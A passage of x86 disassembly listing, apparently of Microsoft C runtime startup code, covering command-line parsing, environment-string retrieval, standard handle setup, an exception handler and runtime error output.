jnz short loc_42A18F
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42A19C
; ---------------------------------------------------------------------------
loc_42A18F: ; CODE XREF: sub_429FC0+1C2j
cmp [ebp+arg_8], 0
jz short loc_42A19C
mov ecx, [ebp+arg_8]
mov byte ptr [ecx-1], 0
loc_42A19C: ; CODE XREF: sub_429FC0:loc_42A0C8j
; sub_429FC0+1CDj ...
mov [ebp+var_14], 0
loc_42A1A3: ; CODE XREF: sub_429FC0+3F6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42A1CE
loc_42A1AD: ; CODE XREF: sub_429FC0+20Cj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42A1C3
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42A1CE
loc_42A1C3: ; CODE XREF: sub_429FC0+1F6j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_42A1AD
; ---------------------------------------------------------------------------
loc_42A1CE: ; CODE XREF: sub_429FC0+1EBj
; sub_429FC0+201j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42A1DD
jmp loc_42A3BB
; ---------------------------------------------------------------------------
loc_42A1DD: ; CODE XREF: sub_429FC0+216j
cmp [ebp+arg_4], 0
jz short loc_42A1F4
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_42A1F4: ; CODE XREF: sub_429FC0+221j
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_42A201: ; CODE XREF: sub_429FC0+3CFj
mov [ebp+var_8], 1
mov [ebp+var_10], 0
loc_42A20F: ; CODE XREF: sub_429FC0+26Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_42A22E
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_42A20F
; ---------------------------------------------------------------------------
loc_42A22E: ; CODE XREF: sub_429FC0+258j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42A28A
mov eax, [ebp+var_10]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jnz short loc_42A282
cmp [ebp+var_14], 0
jz short loc_42A26F
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 22h
jnz short loc_42A266
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42A26D
; ---------------------------------------------------------------------------
loc_42A266: ; CODE XREF: sub_429FC0+299j
mov [ebp+var_8], 0
loc_42A26D: ; CODE XREF: sub_429FC0+2A4j
jmp short loc_42A276
; ---------------------------------------------------------------------------
loc_42A26F: ; CODE XREF: sub_429FC0+28Dj
mov [ebp+var_8], 0
loc_42A276: ; CODE XREF: sub_429FC0:loc_42A26Dj
xor edx, edx
cmp [ebp+var_14], 0
setz dl
mov [ebp+var_14], edx
loc_42A282: ; CODE XREF: sub_429FC0+287j
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_10], eax
loc_42A28A: ; CODE XREF: sub_429FC0+277j
; sub_429FC0+2FCj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_42A2BE
cmp [ebp+arg_8], 0
jz short loc_42A2AF
mov eax, [ebp+arg_8]
mov byte ptr [eax], 5Ch
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
loc_42A2AF: ; CODE XREF: sub_429FC0+2DEj
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_10]
mov [ecx], eax
jmp short loc_42A28A
; ---------------------------------------------------------------------------
loc_42A2BE: ; CODE XREF: sub_429FC0+2D8j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42A2E4
cmp [ebp+var_14], 0
jnz short loc_42A2E9
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42A2E4
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42A2E9
loc_42A2E4: ; CODE XREF: sub_429FC0+306j
; sub_429FC0+317j
jmp loc_42A394
; ---------------------------------------------------------------------------
loc_42A2E9: ; CODE XREF: sub_429FC0+30Cj
; sub_429FC0+322j
cmp [ebp+var_8], 0
jz loc_42A386
cmp [ebp+arg_8], 0
jz short loc_42A34D
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4EFE61[eax]
and ecx, 4
test ecx, ecx
jz short loc_42A338
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
loc_42A338: ; CODE XREF: sub_429FC0+34Dj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_42A379
; ---------------------------------------------------------------------------
loc_42A34D: ; CODE XREF: sub_429FC0+337j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4EFE61[eax]
and ecx, 4
test ecx, ecx
jz short loc_42A379
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_42A379: ; CODE XREF: sub_429FC0+38Bj
; sub_429FC0+3A1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_42A386: ; CODE XREF: sub_429FC0+32Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_42A201
; ---------------------------------------------------------------------------
loc_42A394: ; CODE XREF: sub_429FC0:loc_42A2E4j
cmp [ebp+arg_8], 0
jz short loc_42A3A9
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_42A3A9: ; CODE XREF: sub_429FC0+3D8j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
jmp loc_42A1A3
; ---------------------------------------------------------------------------
loc_42A3BB: ; CODE XREF: sub_429FC0+218j
cmp [ebp+arg_4], 0
jz short loc_42A3D3
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_42A3D3: ; CODE XREF: sub_429FC0+3FFj
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov esp, ebp
pop ebp
retn
sub_429FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A3F0 proc near ; CODE XREF: .nsp0:0041EA7Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov [ebp+var_18], 0
cmp dword_4EFAA0, 0
jnz short loc_42A44A
call dword_4F1304 ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_42A428
mov dword_4EFAA0, 1
jmp short loc_42A44A
; ---------------------------------------------------------------------------
loc_42A428: ; CODE XREF: sub_42A3F0+2Aj
call dword_4F1308 ; GetEnvironmentStrings
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_42A443
mov dword_4EFAA0, 2
jmp short loc_42A44A
; ---------------------------------------------------------------------------
loc_42A443: ; CODE XREF: sub_42A3F0+45j
xor eax, eax
jmp loc_42A605
; ---------------------------------------------------------------------------
loc_42A44A: ; CODE XREF: sub_42A3F0+1Bj
; sub_42A3F0+36j ...
cmp dword_4EFAA0, 1
jnz loc_42A54E
cmp [ebp+var_14], 0
jnz short loc_42A473
call dword_4F1304 ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_42A473
xor eax, eax
jmp loc_42A605
; ---------------------------------------------------------------------------
loc_42A473: ; CODE XREF: sub_42A3F0+6Bj
; sub_42A3F0+7Aj
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
loc_42A479: ; CODE XREF: sub_42A3F0:loc_42A4A3j
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_42A4A5
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_42A4A3
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
loc_42A4A3: ; CODE XREF: sub_42A3F0+A8j
jmp short loc_42A479
; ---------------------------------------------------------------------------
loc_42A4A5: ; CODE XREF: sub_42A3F0+93j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_14]
sar ecx, 1
add ecx, 1
mov [ebp+var_4], ecx
push 0
push 0
push 0
push 0
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_42A4F4
push 64h
push offset dword_4382F0
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_418EF0
add esp, 10h
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_42A505
loc_42A4F4: ; CODE XREF: sub_42A3F0+E4j
mov edx, [ebp+var_14]
push edx
call dword_4F130C ; FreeEnvironmentStringsW
xor eax, eax
jmp loc_42A605
; ---------------------------------------------------------------------------
loc_42A505: ; CODE XREF: sub_42A3F0+102j
push 0
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call dword_4F141C ; WideCharToMultiByte
test eax, eax
jnz short loc_42A53C
push 2
mov ecx, [ebp+var_18]
push ecx
call sub_419980
add esp, 8
mov [ebp+var_18], 0
loc_42A53C: ; CODE XREF: sub_42A3F0+135j
mov edx, [ebp+var_14]
push edx
call dword_4F130C ; FreeEnvironmentStringsW
mov eax, [ebp+var_18]
jmp loc_42A605
; ---------------------------------------------------------------------------
loc_42A54E: ; CODE XREF: sub_42A3F0+61j
cmp dword_4EFAA0, 2
jnz loc_42A603
cmp [ebp+var_18], 0
jnz short loc_42A577
call dword_4F1308 ; GetEnvironmentStrings
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_42A577
xor eax, eax
jmp loc_42A605
; ---------------------------------------------------------------------------
loc_42A577: ; CODE XREF: sub_42A3F0+16Fj
; sub_42A3F0+17Ej
mov eax, [ebp+var_18]
mov [ebp+var_C], eax
loc_42A57D: ; CODE XREF: sub_42A3F0:loc_42A5A3j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42A5A5
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42A5A3
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42A5A3: ; CODE XREF: sub_42A3F0+1A8j
jmp short loc_42A57D
; ---------------------------------------------------------------------------
loc_42A5A5: ; CODE XREF: sub_42A3F0+195j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_10], ecx
push 8Fh
push offset dword_4382F0
push 2
mov edx, [ebp+var_10]
push edx
call sub_418EF0
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42A5E0
mov eax, [ebp+var_18]
push eax
call dword_4F1310 ; FreeEnvironmentStringsA
xor eax, eax
jmp short loc_42A605
; ---------------------------------------------------------------------------
loc_42A5E0: ; CODE XREF: sub_42A3F0+1E0j
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_C]
push eax
call near ptr sub_41C8D0
add esp, 0Ch
mov ecx, [ebp+var_18]
push ecx
call dword_4F1310 ; FreeEnvironmentStringsA
mov eax, [ebp+var_C]
jmp short loc_42A605
; ---------------------------------------------------------------------------
loc_42A603: ; CODE XREF: sub_42A3F0+165j
xor eax, eax
loc_42A605: ; CODE XREF: sub_42A3F0+55j
; sub_42A3F0+7Ej ...
mov esp, ebp
pop ebp
retn
sub_42A3F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A610 proc near ; CODE XREF: .nsp0:0041EA6Ep
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_16 = dword ptr -16h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 6Ch
push 81h
push offset dword_4382F8
push 2
push 480h
call sub_418EF0
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_42A642
push 1Bh
call sub_41EB30
add esp, 4
loc_42A642: ; CODE XREF: sub_42A610+26j
mov eax, [ebp+var_50]
mov dword_4EFC40, eax
mov dword_4EFD40, 20h
jmp short loc_42A65F
; ---------------------------------------------------------------------------
loc_42A656: ; CODE XREF: sub_42A610+81j
mov ecx, [ebp+var_50]
add ecx, 24h
mov [ebp+var_50], ecx
loc_42A65F: ; CODE XREF: sub_42A610+44j
mov edx, dword_4EFC40
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_42A693
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_42A656
; ---------------------------------------------------------------------------
loc_42A693: ; CODE XREF: sub_42A610+5Ej
lea ecx, [ebp+var_48]
push ecx
call dword_4F1458 ; GetStartupInfoA
mov edx, [ebp+var_16]
and edx, 0FFFFh
test edx, edx
jz loc_42A835
cmp [ebp+var_16+2], 0
jz loc_42A835
mov eax, [ebp+var_16+2]
mov ecx, [eax]
mov [ebp+var_64], ecx
mov edx, [ebp+var_16+2]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
add eax, [ebp+var_64]
mov [ebp+var_60], eax
cmp [ebp+var_64], 800h
jge short loc_42A6E3
mov ecx, [ebp+var_64]
mov [ebp+var_68], ecx
jmp short loc_42A6EA
; ---------------------------------------------------------------------------
loc_42A6E3: ; CODE XREF: sub_42A610+C9j
mov [ebp+var_68], 800h
loc_42A6EA: ; CODE XREF: sub_42A610+D1j
mov edx, [ebp+var_68]
mov [ebp+var_64], edx
mov [ebp+var_5C], 1
jmp short loc_42A702
; ---------------------------------------------------------------------------
loc_42A6F9: ; CODE XREF: sub_42A610:loc_42A79Dj
mov eax, [ebp+var_5C]
add eax, 1
mov [ebp+var_5C], eax
loc_42A702: ; CODE XREF: sub_42A610+E7j
mov ecx, dword_4EFD40
cmp ecx, [ebp+var_64]
jge loc_42A7A2
push 0B6h
push offset dword_4382F8
push 2
push 480h
call sub_418EF0
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_42A73E
mov edx, dword_4EFD40
mov [ebp+var_64], edx
jmp short loc_42A7A2
; ---------------------------------------------------------------------------
loc_42A73E: ; CODE XREF: sub_42A610+121j
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_50]
mov dword_4EFC40[eax*4], ecx
mov edx, dword_4EFD40
add edx, 20h
mov dword_4EFD40, edx
jmp short loc_42A765
; ---------------------------------------------------------------------------
loc_42A75C: ; CODE XREF: sub_42A610+18Bj
mov eax, [ebp+var_50]
add eax, 24h
mov [ebp+var_50], eax
loc_42A765: ; CODE XREF: sub_42A610+14Aj
mov ecx, [ebp+var_5C]
mov edx, dword_4EFC40[ecx*4]
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_42A79D
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_42A75C
; ---------------------------------------------------------------------------
loc_42A79D: ; CODE XREF: sub_42A610+168j
jmp loc_42A6F9
; ---------------------------------------------------------------------------
loc_42A7A2: ; CODE XREF: sub_42A610+FBj
; sub_42A610+12Cj
mov [ebp+var_58], 0
jmp short loc_42A7C6
; ---------------------------------------------------------------------------
loc_42A7AB: ; CODE XREF: sub_42A610:loc_42A830j
mov ecx, [ebp+var_58]
add ecx, 1
mov [ebp+var_58], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_60]
add eax, 4
mov [ebp+var_60], eax
loc_42A7C6: ; CODE XREF: sub_42A610+199j
mov ecx, [ebp+var_58]
cmp ecx, [ebp+var_64]
jge short loc_42A835
mov edx, [ebp+var_60]
cmp dword ptr [edx], 0FFFFFFFFh
jz short loc_42A830
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
and ecx, 1
test ecx, ecx
jz short loc_42A830
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
and eax, 8
test eax, eax
jnz short loc_42A800
mov ecx, [ebp+var_60]
mov edx, [ecx]
push edx
call dword_4F12FC ; GetFileType
test eax, eax
jz short loc_42A830
loc_42A800: ; CODE XREF: sub_42A610+1DEj
mov eax, [ebp+var_58]
sar eax, 5
mov ecx, [ebp+var_58]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_60]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax+4], dl
loc_42A830: ; CODE XREF: sub_42A610+1C4j
; sub_42A610+1D1j ...
jmp loc_42A7AB
; ---------------------------------------------------------------------------
loc_42A835: ; CODE XREF: sub_42A610+98j
; sub_42A610+A2j ...
mov [ebp+var_58], 0
jmp short loc_42A847
; ---------------------------------------------------------------------------
loc_42A83E: ; CODE XREF: sub_42A610:loc_42A91Fj
mov eax, [ebp+var_58]
add eax, 1
mov [ebp+var_58], eax
loc_42A847: ; CODE XREF: sub_42A610+22Cj
cmp [ebp+var_58], 3
jge loc_42A924
mov ecx, [ebp+var_58]
imul ecx, 24h
mov edx, dword_4EFC40
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_42A910
mov ecx, [ebp+var_50]
mov byte ptr [ecx+4], 81h
cmp [ebp+var_58], 0
jnz short loc_42A884
mov [ebp+var_6C], 0FFFFFFF6h
jmp short loc_42A894
; ---------------------------------------------------------------------------
loc_42A884: ; CODE XREF: sub_42A610+269j
mov edx, [ebp+var_58]
sub edx, 1
neg edx
sbb edx, edx
add edx, 0FFFFFFF5h
mov [ebp+var_6C], edx
loc_42A894: ; CODE XREF: sub_42A610+272j
mov eax, [ebp+var_6C]
push eax
call dword_4F1468 ; GetStdHandle
mov [ebp+var_4C], eax
cmp [ebp+var_4C], 0FFFFFFFFh
jz short loc_42A8FF
mov ecx, [ebp+var_4C]
push ecx
call dword_4F12FC ; GetFileType
mov [ebp+var_54], eax
cmp [ebp+var_54], 0
jz short loc_42A8FF
mov edx, [ebp+var_50]
mov eax, [ebp+var_4C]
mov [edx], eax
mov ecx, [ebp+var_54]
and ecx, 0FFh
cmp ecx, 2
jnz short loc_42A8E0
mov edx, [ebp+var_50]
mov al, [edx+4]
or al, 40h
mov ecx, [ebp+var_50]
mov [ecx+4], al
jmp short loc_42A8FD
; ---------------------------------------------------------------------------
loc_42A8E0: ; CODE XREF: sub_42A610+2BEj
mov edx, [ebp+var_54]
and edx, 0FFh
cmp edx, 3
jnz short loc_42A8FD
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 8
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42A8FD: ; CODE XREF: sub_42A610+2CEj
; sub_42A610+2DCj
jmp short loc_42A90E
; ---------------------------------------------------------------------------
loc_42A8FF: ; CODE XREF: sub_42A610+295j
; sub_42A610+2A8j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 40h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42A90E: ; CODE XREF: sub_42A610:loc_42A8FDj
jmp short loc_42A91F
; ---------------------------------------------------------------------------
loc_42A910: ; CODE XREF: sub_42A610+258j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 80h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42A91F: ; CODE XREF: sub_42A610:loc_42A90Ej
jmp loc_42A83E
; ---------------------------------------------------------------------------
loc_42A924: ; CODE XREF: sub_42A610+23Bj
mov eax, dword_4EFD40
push eax
call dword_4F1300 ; LockResource
mov esp, ebp
pop ebp
retn
sub_42A610 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov dword ptr [ebp-8], 0
jmp short loc_42A958
; ---------------------------------------------------------------------------
loc_42A94F: ; CODE XREF: .nsp0:loc_42A9D2j
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_42A958: ; CODE XREF: .nsp0:0042A94Dj
cmp dword ptr [ebp-8], 40h
jge short loc_42A9D7
mov ecx, [ebp-8]
cmp dword_4EFC40[ecx*4], 0
jz short loc_42A9D2
mov edx, [ebp-8]
mov eax, dword_4EFC40[edx*4]
mov [ebp-4], eax
jmp short loc_42A983
; ---------------------------------------------------------------------------
loc_42A97A: ; CODE XREF: .nsp0:loc_42A9ADj
mov ecx, [ebp-4]
add ecx, 24h
mov [ebp-4], ecx
loc_42A983: ; CODE XREF: .nsp0:0042A978j
mov edx, [ebp-8]
mov eax, dword_4EFC40[edx*4]
add eax, 480h
cmp [ebp-4], eax
jnb short loc_42A9AF
mov ecx, [ebp-4]
cmp dword ptr [ecx+8], 0
jz short loc_42A9AD
mov edx, [ebp-4]
add edx, 0Ch
push edx
call dword_4F1398 ; RtlDeleteCriticalSection
loc_42A9AD: ; CODE XREF: .nsp0:0042A99Ej
jmp short loc_42A97A
; ---------------------------------------------------------------------------
loc_42A9AF: ; CODE XREF: .nsp0:0042A995j
push 2
mov eax, [ebp-8]
mov ecx, dword_4EFC40[eax*4]
push ecx
call sub_419980
add esp, 8
mov edx, [ebp-8]
mov dword_4EFC40[edx*4], 0
loc_42A9D2: ; CODE XREF: .nsp0:0042A969j
jmp loc_42A94F
; ---------------------------------------------------------------------------
loc_42A9D7: ; CODE XREF: .nsp0:0042A95Cj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A9E4 proc near ; DATA XREF: .nsp0:0041E9CAo
; sub_427F30+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_42AA84
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_42AA17: ; CODE XREF: sub_42A9E4+90j
cmp esi, 0FFFFFFFFh
jz short loc_42AA7D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42AA6B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42AA6B
js short loc_42AA76
mov edi, [ebx+8]
push ebx
call sub_41D410
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D452
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D4E6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42AA6B: ; CODE XREF: sub_42A9E4+40j
; sub_42A9E4+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_42AA17
; ---------------------------------------------------------------------------
loc_42AA76: ; CODE XREF: sub_42A9E4+54j
mov eax, 0
jmp short loc_42AA99
; ---------------------------------------------------------------------------
loc_42AA7D: ; CODE XREF: sub_42A9E4+36j
mov eax, 1
jmp short loc_42AA99
; ---------------------------------------------------------------------------
loc_42AA84: ; CODE XREF: sub_42A9E4+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D452
add esp, 8
pop ebp
mov eax, 1
loc_42AA99: ; CODE XREF: sub_42A9E4+97j
; sub_42A9E4+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42A9E4 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D452
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AAC0 proc near ; CODE XREF: sub_41EB30+Cp
; sub_41EB60+Cp
push ebp
mov ebp, esp
cmp dword_4EF8E8, 1
jz short loc_42AADE
cmp dword_4EF8E8, 0
jnz short loc_42AB07
cmp dword_451124, 1
jnz short loc_42AB07
loc_42AADE: ; CODE XREF: sub_42AAC0+Aj
push 0FCh
call sub_42AB10
add esp, 4
cmp dword_4EFAA4, 0
jz short loc_42AAFA
call dword_4EFAA4
loc_42AAFA: ; CODE XREF: sub_42AAC0+32j
push 0FFh
call sub_42AB10
add esp, 4
loc_42AB07: ; CODE XREF: sub_42AAC0+13j
; sub_42AAC0+1Cj
pop ebp
retn
sub_42AAC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AB10 proc near ; CODE XREF: sub_41EB30+15p
; sub_41EB60+15p ...
var_1B0 = byte ptr -1B0h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
mov [ebp+var_8], 0
jmp short loc_42AB2E
; ---------------------------------------------------------------------------
loc_42AB25: ; CODE XREF: sub_42AB10:loc_42AB45j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42AB2E: ; CODE XREF: sub_42AB10+13j
cmp [ebp+var_8], 12h
jnb short loc_42AB47
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
cmp edx, dword_451C78[ecx*8]
jnz short loc_42AB45
jmp short loc_42AB47
; ---------------------------------------------------------------------------
loc_42AB45: ; CODE XREF: sub_42AB10+31j
jmp short loc_42AB25
; ---------------------------------------------------------------------------
loc_42AB47: ; CODE XREF: sub_42AB10+22j
; sub_42AB10+33j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, dword_451C78[eax*8]
jnz loc_42ACC8
cmp [ebp+arg_0], 0FCh
jz short loc_42AB84
mov edx, [ebp+var_8]
mov eax, off_451C7C[edx*8]
push eax
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42AB84
int 3 ; Trap to Debugger
loc_42AB84: ; CODE XREF: sub_42AB10+51j
; sub_42AB10+71j
cmp dword_4EF8E8, 1
jz short loc_42AB9F
cmp dword_4EF8E8, 0
jnz short loc_42ABD8
cmp dword_451124, 1
jnz short loc_42ABD8
loc_42AB9F: ; CODE XREF: sub_42AB10+7Bj
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, off_451C7C[edx*8]
push eax
call sub_418D00
add esp, 4
push eax
mov ecx, [ebp+var_8]
mov edx, off_451C7C[ecx*8]
push edx
push 0FFFFFFF4h
call dword_4F1468 ; GetStdHandle
push eax
call dword_4F139C ; WriteFile
jmp loc_42ACC8
; ---------------------------------------------------------------------------
loc_42ABD8: ; CODE XREF: sub_42AB10+84j
; sub_42AB10+8Dj
cmp [ebp+arg_0], 0FCh
jz loc_42ACC8
push 104h
